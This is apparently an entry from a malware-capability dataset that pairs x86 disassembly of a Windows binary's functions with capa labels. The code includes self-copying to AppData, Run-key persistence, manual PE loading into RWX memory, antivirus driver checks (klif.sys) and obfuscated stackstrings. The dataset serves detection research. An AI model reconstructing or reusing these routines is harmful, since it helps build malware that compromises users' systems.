joyce8/EMBER2024-capa huggingface dataset:
Function at 0x424670
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x698
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x110]
push ecx
call dword [0x10005068]
push 0x100050b8
lea edx, [ebp - 0x110]
push edx
call dword [0x10005014]
lea eax, [ebp - 0x250]
push eax
lea ecx, [ebp - 0x110]
push ecx
call dword [0x10005040]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x4246be
jmp 0x42490e
cmp dword [ebp - 0x250], 0x10
jne 0x424729
movsx edx, byte [ebp - 0x224]
cmp edx, 0x2e
je 0x424729
mov byte [ebp - 0x254], 0x5c
mov byte [ebp - 0x253], 0
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x360]
push ecx
call dword [0x10005068]
lea edx, [ebp - 0x254]
push edx
lea eax, [ebp - 0x360]
push eax
call dword [0x10005014]
lea ecx, [ebp - 0x224]
push ecx
lea edx, [ebp - 0x360]
push edx
call dword [0x10005014]
lea eax, [ebp - 0x360]
push eax
call fcn.00424670
add esp, 4
push 0x100050c0
lea ecx, [ebp - 0x224]
push ecx
call fcn.00423e00
add esp, 8
test eax, eax
je 0x4247af
lea edx, [ebp - 0x224]
push edx
call dword [0x10005004]
movsx eax, byte [ebp + eax - 0x225]
cmp eax, 0x74
jne 0x4247af
mov byte [ebp - 0x46c], 0x5c
mov byte [ebp - 0x46b], 0
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 0x468]
push edx
call dword [0x10005068]
lea eax, [ebp - 0x46c]
push eax
lea ecx, [ebp - 0x468]
push ecx
call dword [0x10005014]
lea edx, [ebp - 0x224]
push edx
lea eax, [ebp - 0x468]
push eax
call dword [0x10005014]
lea ecx, [ebp - 0x468]
push ecx
call dword [0x10005060]
push 0x100050c8
lea edx, [ebp - 0x224]
push edx
call fcn.00423e00
add esp, 8
test eax, eax
je 0x4248eb
lea eax, [ebp - 0x224]
push eax
call dword [0x10005004]
movsx ecx, byte [ebp + eax - 0x225]
cmp ecx, 0x65
jne 0x4248eb
mov byte [ebp - 0x57c], 0x5c
mov byte [ebp - 0x57b], 0
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x578]
push eax
call dword [0x10005068]
lea ecx, [ebp - 0x57c]
push ecx
lea edx, [ebp - 0x578]
push edx
call dword [0x10005014]
lea eax, [ebp - 0x224]
push eax
lea ecx, [ebp - 0x578]
push ecx
call dword [0x10005014]
push 0
lea edx, [ebp - 0x578]
push edx
call fcn.00423e60
add esp, 8
movzx eax, al
test eax, eax
je 0x4248eb
push 0x104
lea ecx, [ebp - 0x698]
push ecx
call dword [0x10005010]
mov byte [ebp - 0x58c], 0x5c
mov byte [ebp - 0x58b], 0x5c
mov byte [ebp - 0x58a], 0x73
mov byte [ebp - 0x589], 0x79
mov byte [ebp - 0x588], 0x73
mov byte [ebp - 0x587], 0x74
mov byte [ebp - 0x586], 0x65
mov byte [ebp - 0x585], 0x6d
mov byte [ebp - 0x584], 0x2e
mov byte [ebp - 0x583], 0x65
mov byte [ebp - 0x582], 0x78
mov byte [ebp - 0x581], 0x65
mov byte [ebp - 0x580], 0
lea edx, [ebp - 0x58c]
push edx
lea eax, [ebp - 0x698]
push eax
call dword [0x10005014]
lea ecx, [ebp - 0x698]
push ecx
lea edx, [ebp - 0x578]
push edx
call fcn.00423e60
add esp, 8
push 0x64
call dword [0x10005038]
lea eax, [ebp - 0x250]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [0x10005058]
test eax, eax
jne 0x4246be
mov edx, dword [ebp - 4]
push edx
call dword [0x10005050]
mov esp, ebp
pop ebp
ret
Function at 0x10001000
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2d0
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
xor ebx, ebx
push 0x103
lea eax, [ebp - 0x297]
push ebx
push eax
mov byte [ebp - 0x298], bl
call fcn.100057a0
mov ecx, dword [str.Shit]
mov dl, byte [0x10010918]
add esp, 0xc
mov dword [ebp - 0x110], ecx
lea eax, [ebp - 0x2cc]
push eax
mov byte [ebp - 0x10c], dl
lea ecx, [ebp - 0x2c0]
push ecx
lea edx, [ebp - 0x2bc]
push edx
lea eax, [ebp - 0x2b0]
push eax
lea ecx, [ebp - 0x2a0]
push ecx
lea edx, [ebp - 0x2b8]
push edx
lea eax, [ebp - 0x2ac]
push eax
lea ecx, [ebp - 0x2a8]
push ecx
push ebx
lea edx, [ebp - 0x2a4]
push edx
lea eax, [ebp - 0x298]
push eax
push esi
mov dword [ebp - 0x2a4], 0x104
mov dword [ebp - 0x2a8], ebx
mov dword [ebp - 0x29c], 0x80
mov dword [ebp - 0x10], 0x6f79614c
mov dword [ebp - 0xc], 0x54207475
mov dword [ebp - 8], 0x747865
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
mov ecx, dword [ebp - 0x2a0]
cmp eax, ebx
je 0x100010e2
cmp eax, 0x57
jne 0x1000117e
cmp ecx, ebx
je 0x1000117e
xor edi, edi
cmp ecx, ebx
jbe 0x1000117e
lea esp, [esp]
push ebx
push ebx
push ebx
push ebx
lea ecx, [ebp - 0x29c]
push ecx
lea edx, [ebp - 0x90]
push edx
push edi
push esi
mov dword [ebp - 0x29c], 0x80
mov byte [ebp - 0x90], bl
call dword [sym.imp.ADVAPI32.dll_RegEnumValueA]
test eax, eax
jne 0x10001171
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x90]
call fcn.10001390
add esp, 4
test eax, eax
jne 0x10001171
lea ecx, [ebp - 0x2c4]
push ecx
lea edx, [ebp - 0x190]
push edx
lea eax, [ebp - 0x2b4]
push eax
push ebx
lea ecx, [ebp - 0x90]
push ecx
push esi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea edx, [ebp - 0x110]
push edx
lea eax, [ebp - 0x190]
call fcn.10001390
add esp, 4
test eax, eax
je 0x10001190
inc edi
cmp edi, dword [ebp - 0x2a0]
jb 0x100010f0
xor al, al
pop edi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10002227
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
mov al, 1
pop ebx
call fcn.10002227
mov esp, ebp
pop ebp
ret
Function at 0x100011b0
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c0
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x1bc], eax
push ebx
push esi
push 0x103
xor ebx, ebx
lea eax, [esp + 0xbd]
push ebx
push eax
mov byte [esp + 0xc4], 0
call fcn.100057a0
add esp, 0xc
lea ecx, [esp + 0x28]
push ecx
lea edx, [esp + 0x28]
push edx
lea eax, [esp + 0x38]
push eax
lea ecx, [esp + 0x24]
push ecx
lea edx, [esp + 0x44]
push edx
lea eax, [esp + 0x30]
push eax
lea ecx, [esp + 0x38]
push ecx
lea edx, [esp + 0x24]
push edx
push ebx
lea eax, [esp + 0x34]
push eax
lea ecx, [esp + 0xe0]
push ecx
push edi
mov dword [esp + 0x40], 0x104
mov dword [esp + 0x38], ebx
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
mov eax, dword [esp + 8]
cmp eax, ebx
jbe 0x100012b0
lea edx, [esp + 0x28]
push edx
push 0
push 0
push 0
lea eax, [esp + 0x24]
push eax
lea ecx, [esp + 0x4c]
push ecx
push ebx
push edi
mov dword [esp + 0x34], 0x80
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
test eax, eax
jne 0x100012a9
lea edx, [esp + 0xc]
push edx
push 0xf003f
push eax
mov dword [esp + 0x18], eax
lea eax, [esp + 0x44]
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100012a9
mov esi, dword [esp + 0xc]
call section..text
cmp al, 1
jne 0x1000129e
lea ecx, [esp + 0x38]
push ecx
push edi
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
inc ebx
cmp ebx, dword [esp + 8]
jb 0x1000123d
mov ecx, dword [esp + 0x1c4]
pop esi
pop ebx
xor ecx, esp
call fcn.10002227
mov esp, ebp
pop ebp
ret
Function at 0x100016f0
Capabilities:
Contain obfuscated stackstrings
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [ebp + 8]
mov eax, dword [eax]
movzx ecx, word [eax + 0x14]
xor edx, edx
push esi
lea esi, [ecx + eax + 0x18]
mov dword [ebp - 4], 0
cmp dx, word [eax + 6]
jae 0x10001852
push ebx
push edi
lea esp, [esp]
mov ebx, dword [esi + 0x24]
mov edi, ebx
mov eax, ebx
shr edi, 0x1d
shr eax, 0x1e
mov ecx, ebx
and eax, 1
shr ecx, 0x1f
and edi, 1
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], ecx
test ebx, 0x2000000
je 0x100017e4
mov dword [ebp - 0x24], 0x6c2d762e
mov dword [ebp - 0x20], 0x72657a69
mov byte [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0x73616d2e
mov dword [ebp - 0x14], 0x726574
lea ecx, [ebp - 0x24]
mov eax, esi
nop
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10001790
test dl, dl
je 0x1000178c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10001790
add eax, 2
add ecx, 2
test dl, dl
jne 0x10001770
xor eax, eax
jmp 0x10001795
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x100017de
lea ecx, [ebp - 0x18]
mov eax, esi
mov edi, edi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x100017c0
test dl, dl
je 0x100017bc
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x100017c0
add eax, 2
add ecx, 2
test dl, dl
jne 0x100017a0
xor eax, eax
jmp 0x100017c5
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x100017de
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 8]
push 0x4000
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x10001835
mov ecx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
lea edx, [eax + edi*2]
lea eax, [ecx + edx*2]
mov ecx, dword [eax*4 + 0x10013a54]
test ebx, 0x4000000
je 0x100017ff
or ecx, 0x200
mov eax, dword [esi + 0x10]
test eax, eax
jne 0x10001825
test bl, 0x40
je 0x10001815
mov edx, dword [ebp + 8]
mov eax, dword [edx]
mov eax, dword [eax + 0x20]
jmp 0x10001821
test bl, bl
jns 0x10001835
mov eax, dword [ebp + 8]
mov eax, dword [eax]
mov eax, dword [eax + 0x24]
test eax, eax
je 0x10001835
lea edx, [ebp - 0x10]
push edx
push ecx
push eax
mov eax, dword [esi + 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edx, dword [ebp + 8]
mov eax, dword [edx]
mov ecx, dword [ebp - 4]
movzx eax, word [eax + 6]
inc ecx
add esi, 0x28
mov dword [ebp - 4], ecx
cmp ecx, eax
jl 0x10001720
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10001a10
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
je 0x10001a27
xor eax, eax
mov esp, ebp
pop ebp
ret
push ebx
mov ebx, dword [eax + 0x3c]
add ebx, eax
cmp dword [ebx], 0x4550
je 0x10001a3c
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [ebx + 0x50]
mov eax, dword [ebx + 0x34]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 4
push 0x2000
push edx
push eax
call esi
mov edi, eax
test edi, edi
jne 0x10001a73
mov ecx, dword [ebx + 0x50]
push 4
push 0x2000
push ecx
push eax
call esi
mov edi, eax
test edi, edi
je 0x10001b2a
push 0x14
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
xor eax, eax
push 4
mov dword [esi + 4], edi
mov dword [esi + 0xc], eax
mov dword [esi + 8], eax
mov dword [esi + 0x10], eax
mov edx, dword [ebx + 0x50]
push 0x1000
push edx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov eax, dword [ebx + 0x54]
push 4
push 0x1000
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebp + 8]
mov edx, dword [ebx + 0x54]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 4], eax
push edx
push ecx
push eax
call fcn.10005f30
mov ecx, dword [ebp + 8]
mov eax, dword [ecx + 0x3c]
add eax, dword [ebp - 4]
push esi
push ebx
mov dword [esi], eax
push ecx
mov dword [eax + 0x34], edi
call fcn.10001640
mov eax, edi
add esp, 0x18
sub eax, dword [ebx + 0x34]
je 0x10001af7
push eax
mov eax, esi
call fcn.10001860
add esp, 4
push esi
call fcn.100018f0
add esp, 4
test eax, eax
je 0x10001b25
push esi
call fcn.100016f0
mov eax, dword [esi]
mov eax, dword [eax + 0x28]
add esp, 4
test eax, eax
je 0x10001b3a
add eax, edi
je 0x10001b25
push 0
push 1
push edi
call eax
test eax, eax
jne 0x10001b33
call fcn.10001b50
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov dword [esi + 0x10], 1
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10002227
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x10002231
repz ret
jmp fcn.10002cf0

Function at 0x10006370
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.10003813
and dword [ebp - 0x14], 0
cmp dword [0x100146e0], 0
mov dword [ebp - 0x18], eax
jne 0x10006423
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x100064cb
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x100064cb
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x100146e0], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x100146e4], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x100146e8], eax
call edi
push eax
call esi
mov dword [0x100146f0], eax
test eax, eax
je 0x10006423
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x100146ec], eax
mov eax, dword [0x100146ec]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x1000647c
cmp dword [0x100146f0], ecx
je 0x1000647c
push eax
call esi
push dword [0x100146f0]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x1000647c
test ebx, ebx
je 0x1000647c
call edi
test eax, eax
je 0x10006473
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x10006473
test byte [ebp - 8], 1
jne 0x1000647c
or dword [ebp + 0x10], 0x200000
jmp 0x100064af
mov eax, dword [0x100146e4]
cmp eax, dword [ebp - 0x18]
je 0x100064af
push eax
call esi
test eax, eax
je 0x100064af
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x100064af
mov eax, dword [0x100146e8]
cmp eax, dword [ebp - 0x18]
je 0x100064af
push eax
call esi
test eax, eax
je 0x100064af
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x100146e0]
call esi
test eax, eax
je 0x100064cb
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x100064cd
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10002227
leave
ret
Function at 0x1001a7ae
Capabilities:
Contain obfuscated stackstrings

Disassembly:
pushal
jmp 0x1001aaaf
mov dword [ebp - 0x3c], 0
pushfd
pushfd
mov dword [ebp - 0x38], 0x54535953
pushfd
mov dword [ebp - 0x34], 0x435c4d45
mov byte [esp + 0x18], 0x2f
call fcn.1001b273

Function at 0x1001bf6c
Capabilities:
Contain obfuscated stackstrings

Disassembly:
call fcn.1001b5b5
lea esp, [esp + 8]
call fcn.10008d20
seto dl
mov dl, 0x59
mov edx, dword [ebp + 0x14]
pushal
call fcn.1001b260
pushfd
pushfd
lea esp, [esp + 0xc]
call fcn.10007290
push ecx
mov dword [esp], 0
jmp 0x1001cdb8
call fcn.1001c6ec
mov dword [ebp - 0x14], 0x72616f62
mov word [esp + 8], 0xde0e
mov byte [esp + 8], 0xa9
mov byte [esp + 0xc], al
mov dword [ebp - 0x10], 0x614c2064
mov byte [esp + 4], 0x2b
mov dword [ebp - 0xc], 0x74756f79
jmp 0x10019711

Function at 0x1001cd02
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov dword [ebp - 0x28], 0x6f72746e
mov byte [esp], 0x32
mov dword [ebp - 0x24], 0x7465536c
call fcn.1000146d
Function at 0x10002830
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push ecx
mov ebx, edx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
xor esi, esi
cmp edi, 0xffffffff
je 0x1000287f
test ebx, ebx
je 0x10002873
push esi
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x10002878
mov esi, 1
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10002890
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 8], edx
push ebx
push ebx
push 3
push ebx
push 1
push 0x80000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x100028f9
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 4], eax
call fcn.100030e0
neg eax
sbb esi, esi
and esi, 3
inc esi
call fcn.100030e0
neg eax
push ebx
sbb eax, eax
push ebx
and eax, 0xfffffffa
push ebx
add eax, 8
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov dword [ebp - 0xc], eax
test eax, eax
jne 0x10002902
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
push 0
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov esi, eax
test esi, esi
je 0x10002948
call fcn.100030e0
test eax, eax
jne 0x1000292e
push ecx
lea ecx, [esi + 0x53]
lea edx, [eax + 6]
call fcn.100092b0
add esp, 4
push ecx
push dword [ebp - 4]
mov ecx, dword [ebp - 8]
mov edx, esi
call fcn.10002830
add esp, 8
mov ebx, eax
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push dword [ebp - 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push edi
call esi
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10002960
Capabilities:
Contain obfuscated stackstrings
Get session user name
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x290
push esi
push edi
mov edi, ecx
mov dword [ebp - 0x1c], 0x520050
mov ecx, 0x41
mov dword [ebp - 0x18], 0x440049
push ecx
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x14], 0x520055
push eax
mov dword [ebp - 0x10], 0x530041
mov dword [ebp - 0xc], 0x4b0048
mov dword [ebp - 8], ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edx, eax
lea ecx, [ebp - 0x1c]
call fcn.10009160
add esp, 4
mov dword [ebp - 0x88], 0x4f0053
lea eax, [ebp - 0x8c]
mov dword [ebp - 0x84], 0x540046
mov dword [ebp - 0x80], 0x410057
xor esi, esi
mov dword [ebp - 0x7c], 0x450052
push eax
lea eax, [ebp - 0x290]
mov dword [ebp - 0x78], 0x4d005c
push eax
mov dword [ebp - 0x74], 0x630069
mov dword [ebp - 0x70], 0x6f0072
mov dword [ebp - 0x6c], 0x6f0073
mov dword [ebp - 0x68], 0x740066
mov dword [ebp - 0x64], 0x57005c
mov dword [ebp - 0x60], 0x6e0069
mov dword [ebp - 0x5c], 0x6f0064
mov dword [ebp - 0x58], 0x730077
mov dword [ebp - 0x54], 0x43005c
mov dword [ebp - 0x50], 0x720075
mov dword [ebp - 0x4c], 0x650072
mov dword [ebp - 0x48], 0x74006e
mov dword [ebp - 0x44], 0x650056
mov dword [ebp - 0x40], 0x730072
mov dword [ebp - 0x3c], 0x6f0069
mov dword [ebp - 0x38], 0x5c006e
mov dword [ebp - 0x34], 0x750052
mov dword [ebp - 0x30], 0x4f006e
mov dword [ebp - 0x2c], 0x63006e
mov dword [ebp - 0x28], 0x65
mov dword [ebp - 0x8c], 0x100
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
test eax, eax
je 0x10002aa2
push str.SYSTEM
lea eax, [ebp - 0x290]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
mov esi, eax
neg esi
sbb esi, esi
inc esi
call fcn.10009080
test eax, eax
jne 0x10002acb
test esi, esi
jne 0x10002acb
push esi
lea eax, [ebp - 4]
push eax
push esi
push 0xf003f
push esi
push esi
push esi
lea eax, [ebp - 0x88]
push eax
push 0x80000001
jmp 0x10002aea
push 0
lea eax, [ebp - 4]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
lea eax, [ebp - 0x88]
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x10002b26
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
push eax
push edi
push 1
push 0
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 4]
neg eax
sbb esi, esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [esi + 1]
pop edi
pop esi
mov esp, ebp
pop ebp
ret
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10002b30
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Query environment variable

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x24
push ebx
push esi
push edi
push 0x40
push 0x3000
push 0x800
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [esp + 0x1c], eax
mov edi, eax
mov dword [esp + 0x10], 0
test eax, eax
je 0x10002b80
lea edi, [eax + 0x202]
mov dword [esp + 0x10], 0x404
mov ebx, edi
mov dword [esp + 0x18], edi
mov esi, eax
add edi, 0x202
jmp 0x10002b88
xor esi, esi
xor ebx, ebx
mov dword [esp + 0x18], ebx
push 0x100
push esi
push 0
mov dword [esp + 0x18], esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor eax, eax
mov dword [esp + 0x20], 0x520050
mov ecx, 0x52
mov word [esp + 0x2c], ax
push ecx
lea eax, [esp + 0x24]
mov dword [esp + 0x28], 0x440049
push eax
mov dword [esp + 0x30], 0x520055
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edx, eax
lea ecx, [esp + 0x24]
call fcn.10009160
add esp, 4
push 0x100
push ebx
push str.AppData
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
push str.Microsoft_
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
cmp word [ebx + 2], 0
lea edx, [ebx + 2]
mov dword [esp + 0x14], edx
mov ebx, esi
jne 0x10002c0a
jmp 0x10002ccd
movzx eax, word [esi]
test ax, ax
je 0x10002c5a
mov ecx, eax
sub esi, edx
mov eax, edx
test cx, cx
je 0x10002c41
lea ecx, [ecx]
movzx ecx, word [eax]
test cx, cx
je 0x10002cc9
movzx edx, word [esi + eax]
sub edx, ecx
jne 0x10002c3d
add eax, 2
cmp word [esi + eax], dx
jne 0x10002c20
mov edx, dword [esp + 0x14]
cmp word [eax], 0
je 0x10002cc9
movzx ecx, word [ebx + 2]
add ebx, 2
add esi, 2
test cx, cx
jne 0x10002c16
mov ebx, dword [esp + 0x18]
lea eax, [esp + 0x20]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
push eax
push ebx
call esi
push str..exe
push ebx
call esi
push ecx
mov ecx, dword [esp + 0x10]
mov edx, ebx
call fcn.10002890
add esp, 4
test eax, eax
je 0x10002cc1
mov eax, dword [sym.imp.KERNEL32.dll_lstrlenW]
push ebx
call eax
cmp dword [esp + 0x1c], 0
lea eax, [eax*2 + 0xa]
je 0x10002ca8
add eax, dword [esp + 0x10]
cmp eax, 0x800
jb 0x10002caa
xor edi, edi
push ebx
push str.__s_
push edi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
mov ecx, edi
call fcn.10002960
push 0
call dword [sym.imp.KERNEL32.dll_ExitThread]
mov esi, dword [esp + 0xc]
test ebx, ebx
je 0x10002c5a
mov eax, dword [sym.imp.KERNEL32.dll_lstrlenW]
push esi
call eax
cmp dword [esp + 0x1c], 0
lea eax, [eax*2 + 0xa]
je 0x10002cf2
add eax, dword [esp + 0x10]
cmp eax, 0x800
jb 0x10002cf4
xor edi, edi
push esi
jmp 0x10002cab
Function at 0x10003000
Capabilities:
Enumerate device drivers on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80c
push esi
mov esi, dword [sym.imp.PSAPI.DLL_EnumDeviceDrivers]
lea eax, [ebp - 4]
push eax
push 4
lea eax, [ebp - 8]
mov dword [ebp - 0xc], ecx
push eax
mov dword [ebp - 4], 0
call esi
mov eax, dword [ebp - 4]
test eax, eax
jne 0x10003032
pop esi
mov esp, ebp
pop ebp
ret
push edi
push 4
push 0x3000
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
test edi, edi
jne 0x1000304f
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push ebx
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
push edi
call esi
test eax, eax
je 0x100030a2
mov ebx, dword [ebp - 4]
xor esi, esi
shr ebx, 2
test ebx, ebx
jle 0x100030a2
lea ebx, [ebx]
push 0x400
lea eax, [ebp - 0x80c]
push eax
push dword [edi + esi*4]
call dword [sym.imp.PSAPI.DLL_GetDeviceDriverBaseNameW]
test eax, eax
je 0x1000309d
push dword [ebp - 0xc]
lea eax, [ebp - 0x80c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x100030b9
inc esi
cmp esi, ebx
jl 0x10003070
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop ebx
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop ebx
pop edi
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x100030e0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
xor eax, eax
mov dword [ebp - 0x24], 0x6c006b
push edi
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x20], 0x660069
mov dword [ebp - 0x1c], 0x73002e
mov dword [ebp - 0x18], 0x730079
mov word [ebp - 0x14], ax
mov dword [ebp - 0x10], 0x6c006b
mov dword [ebp - 0xc], 0x2e0031
mov dword [ebp - 8], 0x790073
mov dword [ebp - 4], 0x73
call fcn.10003000
pop edi
pop esi
pop ebx
test eax, eax
jne 0x10003146
lea ecx, [ebp - 0x10]
call fcn.10003000
test eax, eax
jne 0x10003146
mov esp, ebp
pop ebp
ret
mov eax, 1
mov esp, ebp
pop ebp
ret